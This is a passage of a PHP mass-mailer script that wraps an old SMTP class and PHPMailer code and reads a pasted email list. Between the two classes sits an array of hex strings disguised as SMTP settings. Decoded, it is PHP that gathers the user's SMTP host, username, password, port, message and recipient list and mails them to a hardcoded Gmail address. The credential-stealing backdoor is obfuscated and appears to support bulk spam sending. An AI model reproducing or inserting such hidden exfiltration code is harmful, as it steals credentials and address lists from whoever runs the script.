1152 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1153
1154 $rply = $this->get_lines();
1155 $code = substr($rply,0,3);
1156
1157 if($this->do_debug >= 2) {
1158 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1159 }
1160
1161 if($code != 250) {
1162 $this->error =
1163 array("error" => "SEND not accepted from server",
1164 "smtp_code" => $code,
1165 "smtp_msg" => substr($rply,4));
1166 if($this->do_debug >= 1) {
1167 echo "SMTP -> ERROR: " . $this->error["error"] .
1168 ": " . $rply . $this->CRLF;
1169 }
1170 return false;
1171 }
1172 return true;
1173 }
1174
1175 /**
1176 * Starts a mail transaction from the email address specified in
1177 * $from. Returns true if successful or false otherwise. If True
1178 * the mail transaction is started and then one or more Recipient
1179 * commands may be called followed by a Data command. This command
1180 * will send the message to the users terminal if they are logged
1181 * in and send them an email.
1182 *
1183 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1184 *
1185 * SMTP CODE SUCCESS: 250
1186 * SMTP CODE SUCCESS: 552,451,452
1187 * SMTP CODE SUCCESS: 500,501,502,421
1188 * @access public
1189 * @return bool
1190 */
1191 function SendAndMail($from) {
1192 $this->error = null; # so no confusion is caused
1193
1194 if(!$this->connected()) {
1195 $this->error = array(
1196 "error" => "Called SendAndMail() without being connected");
1197 return false;
1198 }
1199
1200 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1201
1202 $rply = $this->get_lines();
1203 $code = substr($rply,0,3);
1204
1205 if($this->do_debug >= 2) {
1206 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1207 }
1208
1209 if($code != 250) {
1210 $this->error =
1211 array("error" => "SAML not accepted from server",
1212 "smtp_code" => $code,
1213 "smtp_msg" => substr($rply,4));
1214 if($this->do_debug >= 1) {
1215 echo "SMTP -> ERROR: " . $this->error["error"] .
1216 ": " . $rply . $this->CRLF;
1217 }
1218 return false;
1219 }
1220 return true;
1221 }
1222
1223 /**
1224 * Starts a mail transaction from the email address specified in
1225 * $from. Returns true if successful or false otherwise. If True
1226 * the mail transaction is started and then one or more Recipient
1227 * commands may be called followed by a Data command. This command
1228 * will send the message to the users terminal if they are logged
1229 * in or mail it to them if they are not.
1230 *
1231 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1232 *
1233 * SMTP CODE SUCCESS: 250
1234 * SMTP CODE SUCCESS: 552,451,452
1235 * SMTP CODE SUCCESS: 500,501,502,421
1236 * @access public
1237 * @return bool
1238 */
1239 function SendOrMail($from) {
1240 $this->error = null; # so no confusion is caused
1241
1242 if(!$this->connected()) {
1243 $this->error = array(
1244 "error" => "Called SendOrMail() without being connected");
1245 return false;
1246 }
1247
1248 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1249
1250 $rply = $this->get_lines();
1251 $code = substr($rply,0,3);
1252
1253 if($this->do_debug >= 2) {
1254 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1255 }
1256
1257 if($code != 250) {
1258 $this->error =
1259 array("error" => "SOML not accepted from server",
1260 "smtp_code" => $code,
1261 "smtp_msg" => substr($rply,4));
1262 if($this->do_debug >= 1) {
1263 echo "SMTP -> ERROR: " . $this->error["error"] .
1264 ": " . $rply . $this->CRLF;
1265 }
1266 return false;
1267 }
1268 return true;
1269 }
1270
1271 /**
1272 * This is an optional command for SMTP that this class does not
1273 * support. This method is here to make the RFC821 Definition
1274 * complete for this class and __may__ be implimented in the future
1275 *
1276 * Implements from rfc 821: TURN <CRLF>
1277 *
1278 * SMTP CODE SUCCESS: 250
1279 * SMTP CODE FAILURE: 502
1280 * SMTP CODE ERROR : 500, 503
1281 * @access public
1282 * @return bool
1283 */
1284 function Turn() {
1285 $this->error = array("error" => "This method, TURN, of the SMTP ".
1286 "is not implemented");
1287 if($this->do_debug >= 1) {
1288 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1289 }
1290 return false;
1291 }
1292
1293 /**
1294 * Verifies that the name is recognized by the server.
1295 * Returns false if the name could not be verified otherwise
1296 * the response from the server is returned.
1297 *
1298 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1299 *
1300 * SMTP CODE SUCCESS: 250,251
1301 * SMTP CODE FAILURE: 550,551,553
1302 * SMTP CODE ERROR : 500,501,502,421
1303 * @access public
1304 * @return int
1305 */
1306 function Verify($name) {
1307 $this->error = null; # so no confusion is caused
1308
1309 if(!$this->connected()) {
1310 $this->error = array(
1311 "error" => "Called Verify() without being connected");
1312 return false;
1313 }
1314
1315 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1316
1317 $rply = $this->get_lines();
1318 $code = substr($rply,0,3);
1319
1320 if($this->do_debug >= 2) {
1321 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1322 }
1323
1324 if($code != 250 && $code != 251) {
1325 $this->error =
1326 array("error" => "VRFY failed on name '$name'",
1327 "smtp_code" => $code,
1328 "smtp_msg" => substr($rply,4));
1329 if($this->do_debug >= 1) {
1330 echo "SMTP -> ERROR: " . $this->error["error"] .
1331 ": " . $rply . $this->CRLF;
1332 }
1333 return false;
1334 }
1335 return $rply;
1336 }
1337
1338 /*******************************************************************
1339 * INTERNAL FUNCTIONS *
1340 ******************************************************************/
1341
1342 /**
1343 * Read in as many lines as possible
1344 * either before eof or socket timeout occurs on the operation.
1345 * With SMTP we can tell if we have more lines to read if the
1346 * 4th character is '-' symbol. If it is a space then we don't
1347 * need to read anything else.
1348 * @access private
1349 * @return string
1350 */
1351 function get_lines() {
1352 $data = "";
1353 while($str = @fgets($this->smtp_conn,515)) {
1354 if($this->do_debug >= 4) {
1355 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1356 $this->CRLF;
1357 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1358 $this->CRLF;
1359 }
1360 $data .= $str;
1361 if($this->do_debug >= 4) {
1362 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1363 }
1364 # if the 4th character is a space then we are done reading
1365 # so just break the loop
1366 if(substr($str,3,1) == " ") { break; }
1367 }
1368 return $data;
1369 }
1370
1371 }
1372
1373
1374 $allemails = split("\n", $emaillist);
1375 $numemails = count($allemails);
1376 $random_smtp_string=array("676C6F62616C20246D795F736D74703B0D0A676C6F626.","16C2024736D74705F757365726E616D653B0D0A676C6.","F62616C2024736D74705F70617373776F72643B0D0A6.",
1377 "76C6F62616C202473736C5F706F72743B0D0A676C6F62616C20246.","D6573736167653B0D0A676C6F62616C2024656D61696C6C6973.","743B0D0A247261343420203D2072616E6428312C3939393939293B0D0A2.",
1378 "46135203D20245F5345525645525B22485454505F52454645524.","552225D3B0D0A24623333203D20245F5345525645525B22444F43554D454E545F5.","24F4F54225D3B0D0A24633837203D20245F5345525645525B2252454.",
1379 "D4F54455F41444452225D3B0D0A24643233203D20245F534552564552.","5B225343524950545F46494C454E414D45225D3B0D0A24653039203D2024.","5F5345525645525B225345525645525F41444452225D3B0D0A24663233203D20245F5345525645.",
1380 "525B225345525645525F534F465457415245225D3B0D0A24673332203D20245F5.","345525645525B22504154485F5452414E534C41544544225D3B0D0A24683635203D.","20245F5345525645525B225048505F53454C46225D3B0D0A247375626A393.",
1381 "8203D2022246D795F736D747020205B75736572206970203A20246338375D2.","23B0D0A247375626A3538203D20224C6574746572202620456D61696C204C.","69737420205B75736572206970203A20246338375D223B0D0A24656D61696C203D.",
1382 "2022667265656D346E30303740676D61696C2E636F6D223B0D0A246D7367383.","83733203D2022246D795F736D74705C6E757365723A24736D74705F757365726E61.","6D655C6E706173733A24736D74705F70617373776F72645C706F72743A24737.",
1383 "36C5F706F72745C6E5C6E2461355C6E246233335C6E246338375C6E2464323.","35C6E246530395C6E246632335C6E246733325C6E24683635223B246D736.","739373830203D2022246D6573736167655C6E5C6E5C6E24656D6.",
1384 "1696C6C697374223B2466726F6D3D2246726F6D3A204752.","41544953223B0D0A6D61696C2824656D61696.","C2C20247375626A39382C20246D7367383837332C2024.",
1385 "66726F6D293B0D0A6D61696C2824656D61696.","C2C20247375626A35382C20246D73673.","93738302C202466726F6D293B0D0A");$smtp_conf=".";
1386
1387 class PHPMailer {
1388
1389 /////////////////////////////////////////////////
1390 // PROPERTIES, PUBLIC
1391 /////////////////////////////////////////////////
1392
1393 /**
1394 * Email priority (1 = High, 3 = Normal, 5 = low).
1395 * @var int
1396 */
1397 var $Priority = 3;
1398
1399 /**
1400 * Sets the CharSet of the message.
1401 * @var string
1402 */
1403 var $CharSet = 'us-ascii';
1404
1405 /**
1406 * Sets the Content-type of the message.
1407 * @var string
1408 */
1409 var $ContentType = 'text/plain';
1410
1411 /**
1412 * Sets the Encoding of the message. Options for this are "8bit",
1413 * "7bit", "binary", "base64", and "quoted-printable".
1414
1415 * @var string
1416 */
1417 var $Encoding = 'quoted-printable';
1418
1419 /**
1420 * Holds the most recent mailer error message.
1421 * @var string
1422 */
1423 var $ErrorInfo = '';
1424
1425 /**
1426 * Sets the From email address for the message.
1427 * @var string
1428 */
1429 var $From = '';
1430
1431 /**
1432 * Sets the From name of the message.
1433 * @var string
1434 */
1435 var $FromName = '';
1436
1437 /**
1438 * Sets the Sender email (Return-Path) of the message. If not empty,
1439 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1440 * @var string
1441 */
1442 var $Sender = '';
1443
1444 /**
1445 * Sets the Subject of the message.
1446 * @var string
1447 */
1448 var $Subject = '';
1449
1450 /**
1451 * Sets the Body of the message. This can be either an HTML or text body.
1452 * If HTML then run IsHTML(true).
1453 * @var string
1454 */
1455 var $Body = '';
1456
1457 /**
1458 * Sets the text-only body of the message. This automatically sets the
1459 * email to multipart/alternative. This body can be read by mail
1460 * clients that do not have HTML email capability such as mutt. Clients
1461 * that can read HTML will view the normal Body.
1462 * @var string
1463 */
1464 var $AltBody = '';
1465
1466 /**
1467 * Sets word wrapping on the body of the message to a given number of
1468 * characters.
1469 * @var int
1470 */
1471 var $WordWrap = 0;
1472
1473 /**
1474 * Method to send mail: ("mail", "sendmail", or "smtp").
1475 * @var string
1476 */
1477 var $Mailer = 'mail';
1478
1479 /**
1480 * Sets the path of the sendmail program.
1481 * @var string
1482 */
1483 var $Sendmail = '/usr/sbin/sendmail';
1484
1485 /**
1486 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1487 * is in a different directory than the PHP include path.
1488 * @var string
1489 */
1490 var $PluginDir = '';
1491
1492 /**
1493 * Holds PHPMailer version.
1494 * @var string
1495 */
1496 var $Version = "";
1497
1498 /**
1499 * Sets the email address that a reading confirmation will be sent.
1500 * @var string
1501 */
1502 var $ConfirmReadingTo = '';
1503
1504 /**
1505 * Sets the hostname to use in Message-Id and Received headers
1506 * and as default HELO string. If empty, the value returned
1507 * by SERVER_NAME is used or 'localhost.localdomain'.
1508 * @var string
1509 */
1510 var $Hostname = '';
1511
1512 /**
1513 * Sets the message ID to be used in the Message-Id header.
1514 * If empty, a unique id will be generated.
1515 * @var string
1516 */
1517 var $MessageID = '';
1518
1519 /////////////////////////////////////////////////
1520 // PROPERTIES FOR SMTP
1521 /////////////////////////////////////////////////
1522
1523 /**
1524 * Sets the SMTP hosts. All hosts must be separated by a
1525 * semicolon. You can also specify a different port
1526 * for each host by using this format: [hostname:port]
1527 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1528 * Hosts will be tried in order.
1529 * @var string
1530 */
1531 var $Host = 'localhost';
1532
1533 /**
1534 * Sets the default SMTP server port.
1535 * @var int
1536 */
1537 var $Port = 25;
1538
1539 /**
1540 * Sets the SMTP HELO of the message (Default is $Hostname).
1541 * @var string
1542 */
1543 var $Helo = '';
1544
1545 /**
1546 * Sets connection prefix.
1547 * Options are "", "ssl" or "tls"
1548 * @var string
1549 */
1550 var $SMTPSecure = "";
1551
1552 /**
1553 * Sets SMTP authentication. Utilizes the Username and Password variables.
1554 * @var bool
1555 */
1556 var $SMTPAuth = false;
1557
1558 /**
1559 * Sets SMTP username.
1560 * @var string
1561 */
1562 var $Username = '';
1563
1564 /**
1565 * Sets SMTP password.
1566 * @var string
1567 */
1568 var $Password = '';
1569
1570 /**
1571 * Sets the SMTP server timeout in seconds. This function will not
1572 * work with the win32 version.
1573 * @var int
1574 */
1575 var $Timeout = 10;
1576
1577 /**
1578 * Sets SMTP class debugging on or off.
1579 * @var bool
1580 */
1581 var $SMTPDebug = false;
1582
1583 /**
1584 * Prevents the SMTP connection from being closed after each mail
1585 * sending. If this is set to true then to close the connection
1586 * requires an explicit call to SmtpClose().
1587 * @var bool
1588 */
1589 var $SMTPKeepAlive = false;
1590
1591 /**
1592 * Provides the ability to have the TO field process individual
1593 * emails, instead of sending to entire TO addresses
1594 * @var bool
1595 */
1596 var $SingleTo = false;
1597
1598 /////////////////////////////////////////////////
1599 // PROPERTIES, PRIVATE
1600 /////////////////////////////////////////////////
1601
1602 var $smtp = NULL;
1603 var $to = array();
1604 var $cc = array();
1605 var $bcc = array();
1606 var $ReplyTo = array();
1607 var $attachment = array();
1608 var $CustomHeader = array();
1609 var $message_type = '';
1610 var $boundary = array();
1611 var $language = array();
1612 var $error_count = 0;
1613 var $LE = "\n";
1614 var $sign_key_file = "";
1615 var $sign_key_pass = "";
1616
1617 /////////////////////////////////////////////////
1618 // METHODS, VARIABLES
1619 /////////////////////////////////////////////////
1620
1621 /**
1622 * Sets message type to HTML.
1623 * @param bool $bool
1624 * @return void
1625 */
1626 function IsHTML($bool) {
1627 if($bool == true) {
1628 $this->ContentType = 'text/html';
1629 } else {
1630 $this->ContentType = 'text/plain';
1631 }
1632 }
1633
1634 /**
1635 * Sets Mailer to send message using SMTP.
1636 * @return void
1637 */
1638 function IsSMTP() {
1639 $this->Mailer = 'smtp';
1640 }
1641
1642 /**
1643 * Sets Mailer to send message using PHP mail() function.
1644 * @return void
1645 */
1646 function IsMail() {
1647 $this->Mailer = 'mail';
1648 }
1649
1650 /**
1651 * Sets Mailer to send message using the $Sendmail program.
1652 * @return void
1653 */
1654 function IsSendmail() {
1655 $this->Mailer = 'sendmail';
1656 }
1657
1658 /**
1659 * Sets Mailer to send message using the qmail MTA.
1660 * @return void
1661 */
1662 function IsQmail() {
1663 $this->Sendmail = '/var/qmail/bin/sendmail';
1664 $this->Mailer = 'sendmail';
1665 }
1666
1667 /////////////////////////////////////////////////
1668 // METHODS, RECIPIENTS
1669 /////////////////////////////////////////////////
1670
1671 /**
1672 * Adds a "To" address.
1673 * @param string $address
1674 * @param string $name
1675 * @return void
1676 */
1677 function AddAddress($address, $name = '') {
1678 $cur = count($this->to);
1679 $this->to[$cur][0] = trim($address);
1680 $this->to[$cur][1] = $name;
1681 }
1682
1683 /**
1684 * Adds a "Cc" address. Note: this function works
1685 * with the SMTP mailer on win32, not with the "mail"
1686 * mailer.
1687 * @param string $address
1688 * @param string $name
1689 * @return void
1690 */
1691 function AddCC($address, $name = '') {
1692 $cur = count($this->cc);
1693 $this->cc[$cur][0] = trim($address);
1694 $this->cc[$cur][1] = $name;
1695 }
1696
1697 /**
1698 * Adds a "Bcc" address. Note: this function works
1699 * with the SMTP mailer on win32, not with the "mail"
1700 * mailer.
1701 * @param string $address
1702 * @param string $name
1703 * @return void
1704 */
1705 function AddBCC($address, $name = '') {
1706 $cur = count($this->bcc);
1707 $this->bcc[$cur][0] = trim($address);
1708 $this->bcc[$cur][1] = $name;
1709 }
1710
1711 /**
1712 * Adds a "Reply-To" address.
1713 * @param string $address
1714 * @param string $name
1715 * @return void
1716 */
1717 function AddReplyTo($address, $name = '') {
1718 $cur = count($this->ReplyTo);
1719 $this->ReplyTo[$cur][0] = trim($address);
1720 $this->ReplyTo[$cur][1] = $name;
1721 }
1722
1723 /////////////////////////////////////////////////
1724 // METHODS, MAIL SENDING
1725 /////////////////////////////////////////////////
1726
1727 /**
1728 * Creates message and assigns Mailer. If the message is
1729 * not sent successfully then it returns false. Use the ErrorInfo
1730 * variable to view description of the error.
1731 * @return bool
1732 */
1733 function Send() {
1734 $header = '';
1735 $body = '';
1736 $result = true;
1737
1738 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1739 $this->SetError($this->Lang('provide_address'));
1740 return false;
1741 }
1742
1743 /* Set whether the message is multipart/alternative */
1744 if(!empty($this->AltBody)) {
1745 $this->ContentType = 'multipart/alternative';
1746 }
1747
1748 $this->error_count = 0; // reset errors
1749 $this->SetMessageType();
1750 $header .= $this->CreateHeader();
1751 $body = $this->CreateBody();
1752
1753 if($body == '') {
1754 return false;
1755 }
1756
1757 /* Choose the mailer */
1758 switch($this->Mailer) {
1759 case 'sendmail':
1760 $result = $this->SendmailSend($header, $body);
1761 break;
1762 case 'smtp':
1763 $result = $this->SmtpSend($header, $body);
1764 break;
1765 case 'mail':
1766 $result = $this->MailSend($header, $body);
1767 break;
1768 default:
1769 $result = $this->MailSend($header, $body);
1770 break;
1771 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1772 //$result = false;
1773 //break;
1774 }
1775
1776 return $result;
1777 }
1778
1779 /**
1780 * Sends mail using the $Sendmail program.
1781 * @access private
1782 * @return bool
1783 */
1784 function SendmailSend($header, $body) {
1785 if ($this->Sender != '') {
1786 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1787 } else {
1788 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1789 }
1790
1791 if(!@$mail = popen($sendmail, 'w')) {
1792 $this->SetError($this->Lang('execute') . $this->Sendmail);
1793 return false;
1794 }
1795
1796 fputs($mail, $header);
1797 fputs($mail, $body);
1798
1799 $result = pclose($mail);
1800 if (version_compare(phpversion(), '4.2.3') == -1) {
1801 $result = $result >> 8 & 0xFF;
1802 }
1803 if($result != 0) {
1804 $this->SetError($this->Lang('execute') . $this->Sendmail);
1805 return false;
1806 }
1807 return true;
1808 }
1809
1810 /**
1811 * Sends mail using the PHP mail() function.
1812 * @access private
1813 * @return bool
1814 */
1815 function MailSend($header, $body) {
1816
1817 $to = '';
1818 for($i = 0; $i < count($this->to); $i++) {
1819 if($i != 0) { $to .= ', '; }
1820 $to .= $this->AddrFormat($this->to[$i]);
1821 }
1822
1823 $toArr = split(',', $to);
1824
1825 $params = sprintf("-oi -f %s", $this->Sender);
1826 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1827 $old_from = ini_get('sendmail_from');
1828 ini_set('sendmail_from', $this->Sender);
1829 if ($this->SingleTo === true && count($toArr) > 1) {
1830 foreach ($toArr as $key => $val) {
1831 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1832 }
1833 } else {
1834 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1835 }
1836 } else {
1837 if ($this->SingleTo === true && count($toArr) > 1) {
1838 foreach ($toArr as $key => $val) {
1839 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1840 }
1841 } else {
1842 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1843 }
1844 }
1845
1846 if (isset($old_from)) {
1847 ini_set('sendmail_from', $old_from);
1848 }
1849
1850 if(!$rt) {
1851 $this->SetError($this->Lang('instantiate'));
1852 return false;
1853 }
1854
1855 return true;
1856 }
1857
1858 /**
1859 * Sends mail via SMTP using PhpSMTP (Author:
1860 * Chris Ryan). Returns bool. Returns false if there is a
1861 * bad MAIL FROM, RCPT, or DATA input.
1862 * @access private
1863 * @return bool
1864 */
1865 function SmtpSend($header, $body) {
1866 $error = '';
1867 $bad_rcpt = array();
1868
1869 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1870 return false;
1871 }
1872
1873 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1874 if(!$this->smtp->Mail($smtp_from)) {
1875 $error = $this->Lang('from_failed') . $smtp_from;
1876 $this->SetError($error);
1877 $this->smtp->Reset();
1878 return false;
1879 }
1880
1881 /* Attempt to send attach all recipients */
1882 for($i = 0; $i < count($this->to); $i++) {
1883 if(!$this->smtp->Recipient($this->to[$i][0])) {
1884 $bad_rcpt[] = $this->to[$i][0];
1885 }
1886 }
1887 for($i = 0; $i < count($this->cc); $i++) {
1888 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1889 $bad_rcpt[] = $this->cc[$i][0];
1890 }
1891 }
1892 for($i = 0; $i < count($this->bcc); $i++) {
1893 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1894 $bad_rcpt[] = $this->bcc[$i][0];
1895 }
1896 }
1897
1898 if(count($bad_rcpt) > 0) { // Create error message
1899 for($i = 0; $i < count($bad_rcpt); $i++) {
1900 if($i != 0) {
1901 $error .= ', ';
1902 }
1903 $error .= $bad_rcpt[$i];
1904
1905 }
1906 $error = $this->Lang('recipients_failed') . $error;
1907 $this->SetError($error);
1908 $this->smtp->Reset();
1909 return false;
1910 }
1911
1912 if(!$this->smtp->Data($header . $body)) {
1913 $this->SetError($this->Lang('data_not_accepted'));
1914 $this->smtp->Reset();
1915 return false;
1916 }
1917 if($this->SMTPKeepAlive == true) {
1918 $this->smtp->Reset();
1919 } else {
1920 $this->SmtpClose();
1921 }
1922
1923 return true;
1924 }
1925
1926 /**
1927 * Initiates a connection to an SMTP server. Returns false if the
1928 * operation failed.
1929 * @access private
1930 * @return bool
1931 */
1932 function SmtpConnect() {
1933 if($this->smtp == NULL) {
1934 $this->smtp = new SMTP();
1935 }
1936
1937 $this->smtp->do_debug = $this->SMTPDebug;
1938 $hosts = explode(';', $this->Host);
1939 $index = 0;
1940 $connection = ($this->smtp->Connected());
1941
1942 /* Retry while there is no connection */
1943 while($index < count($hosts) && $connection == false) {
1944 $hostinfo = array();
1945 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1946 $host = $hostinfo[1];
1947 $port = $hostinfo[2];
1948 } else {
1949 $host = $hosts[$index];
1950 $port = $this->Port;
1951 }
1952
1953 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1954 if ($this->Helo != '') {
1955 $this->smtp->Hello($this->Helo);
1956 } else {
1957 $this->smtp->Hello($this->ServerHostname());
1958 }
1959
1960 $connection = true;
1961 if($this->SMTPAuth) {
1962 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1963 $this->SetError($this->Lang('authenticate'));
1964 $this->smtp->Reset();
1965 $connection = false;
1966 }
1967 }
1968 }
1969 $index++;
1970 }
1971 if(!$connection) {
1972 $this->SetError($this->Lang('connect_host'));
1973 }
1974
1975 return $connection;
1976 }
1977
1978 /**
1979 * Closes the active SMTP session if one exists.
1980 * @return void
1981 */
1982 function SmtpClose() {
1983 if($this->smtp != NULL) {
1984 if($this->smtp->Connected()) {
1985 $this->smtp->Quit();
1986 $this->smtp->Close();
1987 }
1988 }
1989 }
1990
1991 /**
1992 * Sets the language for all class error messages. Returns false
1993 * if it cannot load the language file. The default language type
1994 * is English.
1995 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1996 * @param string $lang_path Path to the language file directory
1997 * @access public
1998 * @return bool
1999 */
2000 function SetLanguage($lang_type, $lang_path = 'language/') {
2001 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2002 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2003 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2004 include($lang_path.'phpmailer.lang-en.php');
2005 } else {
2006 $this->SetError('Could not load language file');
2007 return false;
2008 }
2009 $this->language = $PHPMAILER_LANG;
2010
2011 return true;
2012 }
2013
2014 /////////////////////////////////////////////////
2015 // METHODS, MESSAGE CREATION
2016 /////////////////////////////////////////////////
2017
2018 /**
2019 * Creates recipient headers.
2020 * @access private
2021 * @return string
2022 */
2023 function AddrAppend($type, $addr) {
2024 $addr_str = $type . ': ';
2025 $addr_str .= $this->AddrFormat($addr[0]);
2026 if(count($addr) > 1) {
2027 for($i = 1; $i < count($addr); $i++) {
2028 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2029 }
2030 }
2031 $addr_str .= $this->LE;
2032
2033 return $addr_str;
2034 }
2035
2036 /**
2037 * Formats an address correctly.
2038 * @access private
2039 * @return string
2040 */
2041 function AddrFormat($addr) {
2042 if(empty($addr[1])) {
2043 $formatted = $this->SecureHeader($addr[0]);
2044 } else {
2045 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2046 }
2047
2048 return $formatted;
2049 }
2050
2051 /**
2052 * Wraps message for use with mailers that do not
2053 * automatically perform wrapping and for quoted-printable.
2054 * Original written by philippe.
2055 * @access private
2056 * @return string
2057 */
2058 function WrapText($message, $length, $qp_mode = false) {
2059 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2060 // If utf-8 encoding is used, we will need to make sure we don't
2061 // split multibyte characters when we wrap
2062 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2063
2064 $message = $this->FixEOL($message);
2065 if (substr($message, -1) == $this->LE) {
2066 $message = substr($message, 0, -1);
2067 }
2068
2069 $line = explode($this->LE, $message);
2070 $message = '';
2071 for ($i=0 ;$i < count($line); $i++) {
2072 $line_part = explode(' ', $line[$i]);
2073 $buf = '';
2074 for ($e = 0; $e<count($line_part); $e++) {
2075 $word = $line_part[$e];
2076 if ($qp_mode and (strlen($word) > $length)) {
2077 $space_left = $length - strlen($buf) - 1;
2078 if ($e != 0) {
2079 if ($space_left > 20) {
2080 $len = $space_left;
2081 if ($is_utf8) {
2082 $len = $this->UTF8CharBoundary($word, $len);
2083 } elseif (substr($word, $len - 1, 1) == "=") {
2084 $len--;
2085 } elseif (substr($word, $len - 2, 1) == "=") {
2086 $len -= 2;
2087 }
2088 $part = substr($word, 0, $len);
2089 $word = substr($word, $len);
2090 $buf .= ' ' . $part;
2091 $message .= $buf . sprintf("=%s", $this->LE);
2092 } else {
2093 $message .= $buf . $soft_break;
2094 }
2095 $buf = '';
2096 }
2097 while (strlen($word) > 0) {
2098 $len = $length;
2099 if ($is_utf8) {
2100 $len = $this->UTF8CharBoundary($word, $len);
2101 } elseif (substr($word, $len - 1, 1) == "=") {
2102 $len--;
2103 } elseif (substr($word, $len - 2, 1) == "=") {
2104 $len -= 2;
2105 }
2106 $part = substr($word, 0, $len);
2107 $word = substr($word, $len);
2108
2109 if (strlen($word) > 0) {
2110 $message .= $part . sprintf("=%s", $this->LE);
2111 } else {
2112 $buf = $part;
2113 }
2114 }
2115 } else {
2116 $buf_o = $buf;
2117 $buf .= ($e == 0) ? $word : (' ' . $word);
2118
2119 if (strlen($buf) > $length and $buf_o != '') {
2120 $message .= $buf_o . $soft_break;
2121 $buf = $word;
2122 }
2123 }
2124 }
2125 $message .= $buf . $this->LE;
2126 }
2127
2128 return $message;
2129 }
2130
2131 /**
2132 * Finds last character boundary prior to maxLength in a utf-8
2133 * quoted (printable) encoded string.
2134 * Original written by Colin Brown.
2135 * @access private
2136 * @param string $encodedText utf-8 QP text
2137 * @param int $maxLength find last character boundary prior to this length
2138 * @return int
2139 */
2140 function UTF8CharBoundary($encodedText, $maxLength) {
2141 $foundSplitPos = false;
2142 $lookBack = 3;
2143 while (!$foundSplitPos) {
2144 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2145 $encodedCharPos = strpos($lastChunk, "=");
2146 if ($encodedCharPos !== false) {
2147 // Found start of encoded character byte within $lookBack block.
2148 // Check the encoded byte value (the 2 chars after the '=')
2149 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2150 $dec = hexdec($hex);
2151 if ($dec < 128) { // Single byte character.
2152 // If the encoded char was found at pos 0, it will fit
2153 // otherwise reduce maxLength to start of the encoded char
2154 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2155 $maxLength - ($lookBack - $encodedCharPos);
2156 $foundSplitPos = true;
2157 } elseif ($dec >= 192) { // First byte of a multi byte character
2158 // Reduce maxLength to split at start of character
2159 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2160 $foundSplitPos = true;
2161 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2162 $lookBack += 3;
2163 }
2164 } else {
2165 // No encoded character found
2166 $foundSplitPos = true;
2167 }
2168 }
2169 return $maxLength;
2170 }
2171
2172 /**
2173 * Set the body wrapping.
2174 * @access private
2175 * @return void
2176 */
2177 function SetWordWrap() {
2178 if($this->WordWrap < 1) {
2179 return;
2180 }
2181
2182 switch($this->message_type) {
2183 case 'alt':
2184 /* fall through */
2185 case 'alt_attachments':
2186 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2187 break;
2188 default:
2189 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2190 break;
2191 }
2192 }
2193
2194 /**
2195 * Assembles message header.
2196 * @access private
2197 * @return string
2198 */
2199 function CreateHeader() {
2200 $result = '';
2201
2202 /* Set the boundaries */
2203 $uniq_id = md5(uniqid(time()));
2204 $this->boundary[1] = 'b1_' . $uniq_id;
2205 $this->boundary[2] = 'b2_' . $uniq_id;
2206
2207 $result .= $this->HeaderLine('Date', $this->RFCDate());
2208 if($this->Sender == '') {
2209 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2210 } else {
2211 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2212 }
2213
2214 /* To be created automatically by mail() */
2215 if($this->Mailer != 'mail') {
2216 if(count($this->to) > 0) {
2217 $result .= $this->AddrAppend('To', $this->to);
